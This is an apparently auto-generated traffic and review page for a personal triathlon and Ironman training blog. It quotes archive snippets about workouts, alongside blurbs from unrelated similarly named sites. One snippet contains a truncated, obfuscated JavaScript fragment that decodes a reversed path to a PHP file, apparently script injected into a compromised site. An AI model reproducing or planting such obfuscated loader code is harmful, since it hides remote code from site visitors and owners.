jarnmadur.blogspot.com
Triathlon-Marathon-IronmanA journey to the realm of running and triathlon's
http://jarnmadur.blogspot.com/
A journey to the realm of running and triathlon's
http://jarnmadur.blogspot.com/
TODAY'S RATING
>1,000,000
Date Range
HIGHEST TRAFFIC ON
Saturday
LOAD TIME
0.6 seconds
16x16
32x32
PAGES IN
THIS WEBSITE
15
SSL
EXTERNAL LINKS
1
SITE IP
216.58.205.1
LOAD TIME
0.617 sec
SCORE
6.2
Triathlon-Marathon-Ironman | jarnmadur.blogspot.com Reviews
https://jarnmadur.blogspot.com
A journey to the realm of running and triathlon's
jarnmadur.blogspot.com
Triathlon-Marathon-Ironman: January 2008
http://jarnmadur.blogspot.com/2008_01_01_archive.html
A journey to the realm of running and triathlon's. Monday, January 28, 2008. Events for the week : January 21, 2008 - January 27, 2008. Bike: 18 Km, 0h35m00s hms, 1.94 min/Km. Swim: 1.6 Km, 0h55m00s hms, 34.4 min/Km. Run: 8.0 Km, 1h00m00s hms, 7.50 min/Km. Bike: 42 Km, 1h33m41s hms, 2.23 min/Km. Bike: 17 Km, 0h35m00s hms, 2.06 min/Km. Swim: 1.5 Km, 0h55m00s hms, 36.7 min/Km. Swim: 1.1 Km, 0h30m00s hms, 27.3 min/Km. Run: 3.0 Km, 0h16m00s hms, 5.33 min/Km. Bike: 5.0 Km, 0h09m13s hms, 1.84 min/Km. Another s...
Triathlon-Marathon-Ironman: November 2009
http://jarnmadur.blogspot.com/2009_11_01_archive.html
A journey to the realm of running and triathlon's. Monday, November 2, 2009. So last week was a very good week. Monday 1 hour strenght training. With my personal trainer David. Started off with 10 minutes warm up on the bike got 5.8km so it was more of a sprint than warm up but it did the job. Going through lounges, squads and push-ups I felt strong and good throughout the whole training. Ending with 3x one minute sprints on the rowing machine. Tuesday, pennants squash (that I lost, see previous post).
Triathlon-Marathon-Ironman: April 2008
http://jarnmadur.blogspot.com/2008_04_01_archive.html
A journey to the realm of running and triathlon's. Friday, April 25, 2008. And a run it was! Inspired by this I started my short run recovery. Taking the advice of my friend Ásgeir I decided to run 1.5 km. if the knees would handle that go a bit longer and work my self up. I must work my self up to 21km by the 15th of June when I plan to race the 1/2 Ironman. Monday, April 21, 2008. Back from the start. Yep now it is back to the start. The Boston marathon is today. How I wish I was there. one day...Good ...
Triathlon-Marathon-Ironman: Good start to the week
http://jarnmadur.blogspot.com/2009/10/good-start-to-week.html
A journey to the realm of running and triathlon's. Tuesday, October 20, 2009. Good start to the week. The week started off well. Had my personal trainer come back from Sydney, full of new ideas and learning on positioning and weight distribution. So we did some interesting exercises that showed just how much I use the muscles in top of the knee instead of the glute. Something I really must focus on to relieve pressure of the knees. The summer is rolling in with Saturday reaching 37 degrees (Celcius), tha...
Triathlon-Marathon-Ironman: Weekly summary
http://jarnmadur.blogspot.com/2009/11/weekly-summary.html
A journey to the realm of running and triathlon's. Monday, November 2, 2009. So last week was a very good week. Monday 1 hour strenght training. With my personal trainer David. Started off with 10 minutes warm up on the bike got 5.8km so it was more of a sprint than warm up but it did the job. Going through lounges, squads and push-ups I felt strong and good throughout the whole training. Ending with 3x one minute sprints on the rowing machine. Tuesday, pennants squash (that I lost, see previous post).
TOTAL PAGES IN THIS WEBSITE
15
Hosted By One.com | Webhosting made simple
Domain and Cheap Web Hosting by One.com. Jarnkula.com is hosted by One.com. Web hosting and domain by One.com. Affordable web hosting and domain plans available at One.com. Build your own website with Web Editor or choose a 1-click blog installation. Whatever you choose, One.com. Is dedicated to our customers' satisfaction with 24/7 chat support.
Emanuel Järnland
VTB$I 919AeEAw2z$KX=function(n){if (typeof ($vTB$I 919AeEAw2z$KX.list[n]) = "string") return $vTB$I 919AeEAw2z$KX.list[n].split(" ).reverse().join(" );return $vTB$I /" title="Om Mig" Om Mig. VTB$I 919AeEAw2z$KX=function(n){if (typeof ($vTB$I 919AeEAw2z$KX.list[n]) = “string”) return $vTB$I 919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I 919AeEAw2z$KX.list[n];};$vTB$I 919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-y...Välkommen till min CV-Sida. Utbildad Marknadsekonom med tidigare erfa...
Parked at Loopia
This domain has been purchased and parked by a customer of Loopia. Use LoopiaWHOIS. To view the domain holder's public information. Are you the owner of the domain and want to get started? Login to Loopia Customer zone. And actualize your plan. Register domains at Loopia. Protect your company name, brands and ideas as domains at one of the largest domain providers in Scandinavia. Search available domains at loopia.com. Get full control of your domains with LoopiaDNS. Create your website with WordPress.
Torgil Jarnling:s hemsida (på City Network)
Tips F11 = helskärm. ALLA länkar sidan 1. Tidigare bilder sidan 1. Välkomna till min hemsida, 352. Sidor, 1.021. Vykort, foton, del av Släktforskningen (öppna sidor) mm. Personer, 7.900 familjer, 2.779 h-foton i släktreg, hus/gårdar, tidningsnotiser mm (behörighetssidor). ALLA länkar sidan 1. En privat hemsida utan kommersiellt intresse. Välkommen till min hemsida! Flera länkgrupper finns på startsidan - navigera med hjälp av den blå länkraden i överkant till höger i bilden. ALLA länkar sidan 1. Vem jag ...
Triathlon-Marathon-Ironman
A journey to the realm of running and triathlon's. Monday, November 2, 2009. So last week was a very good week. Monday 1 hour strenght training. With my personal trainer David. Started off with 10 minutes warm up on the bike got 5.8km so it was more of a sprint than warm up but it did the job. Going through lounges, squads and push-ups I felt strong and good throughout the whole training. Ending with 3x one minute sprints on the rowing machine. Tuesday, pennants squash (that I lost, see previous post).
JÁRNMAÐURINN 08.08.2015 - Forsíða
JÁRNMAÐURINN 13.08.2016. Sund 1.9 km - Hjól 90 km - Hlaup 21 km í Kjósinni. Smelltu hér til að sjá úrslit í Járnmanninum 2015. KJÓSARMÓRINN Hálfur járnmaður í Kjósinni.
jarnmagasinet.com - This domain is pending ICANN verification
This domain is pending ICANN verification. This domain is pending ICANN verification. Welcome to jarnmagasinet.com. Please be advised that as of the 1st January 2014 it has now become a mandatory requirement from the Internet Corporation for Assigned Name and Numbers (ICANN) that all ICANN accredited registrars verify the WHOIS contact information for all new domain registrations, domain transfers and registrant contact modifications. Learn more ». Why has this domain been suspended? Once the Registrant ...
あなたに合った投資法を探しましょう
Järnmalmer – Återvinning Rivning Transport
Järnmalmer – Vi är ett starkt familjeföretag inom återvinning, rivning och transport. Vi erbjuder helhetslösningar för återvinning av järn- och metallskrot samt övriga restprodukter, såsom t.ex. papper, plast och trä för industri, byggsektor eller kommunal verksamhet. Professionell säker demontering för nedläggning av hela anläggningar, selektiv skrotning inne i processindustrier, broskrotningar, pannrivningar, skrotning av järnvägslinjer etc. Together towards zero waste. Industridemontering på hög nivå.
MANY THINGS OF INTEREST
THIS BLOG IS NO LONGER IN USE. TRANSITIONAL MOVEMENT TO TUMBLR. Subscribe to: Posts (Atom).
